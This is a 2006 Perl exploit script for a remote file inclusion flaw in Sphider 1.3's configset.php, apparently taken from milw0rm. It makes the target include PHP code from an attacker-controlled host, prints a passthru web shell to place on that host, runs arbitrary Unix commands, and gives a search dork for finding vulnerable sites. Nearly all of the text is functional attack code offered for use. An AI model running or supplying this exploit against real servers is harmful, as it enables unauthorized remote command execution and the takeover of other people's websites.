Sphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit :

Date : 2006-04-12 Author : rgod
#!/usr/bin/perl
use IO::Socket;

print "
Sphider <= 1.3 arbitrary remote inclusion
" ;
print "-> works with register_globals = On & allow_url_fopen = On
";
print "by rgod rgod<AT>autistici<DOT>org
";
print "site: http://retrogod.altervista.org
";
print "
dork: "powered by sphider"
";

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "
Usage:
";
print "perl sphider_xpl.pl server path location command

";
print "server         - Server where sphider is installed.
";
print "path           - Path to sphider (ex: /sphider/ or just /) 
";
print "location       - a site with the code to include (without ending slash)
";
print "command        - a Unix command

";
print "Example:
";
print "perl sphider_xpl.pl localhost /sphider/ http://192.168.1.3 ls -la

";
print "note: on http location you need this code in /conf.php/index.html :

";
print "<?php
";
print "ob_clean();
";
print "if (get_magic_quotes_gpc())
";
print "{$_GET["cmd"]=stripslashes($_GET["cmd"]);}
";
print "ini_set("max_execution_time",0);
";
print "echo 56789;
";
print "passthru($_GET["cmd"]);
";
print "die;
";
print "?>
";
exit();
}
  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.

";
  print $sock "GET ".$path."admin/configset.php?cmd=".$cmd."&settings_dir=".$loc." HTTP/1.0
";
  print $sock "Host: ".$serv."
";
  print $sock "Connection: Close

";
  $out="";
  while ($answer = <$sock>) {
    $out.=$answer;
  }
  close($sock);
  @temp= split /56789/,$out,2;
  if ($#temp>0) {print "
Exploit succeeded...
".$temp[1];exit();}
  #if you are here...
  print "
Exploit failed...
";

# milw0rm.com [2006-04-12]

C1

 

C2

 

C3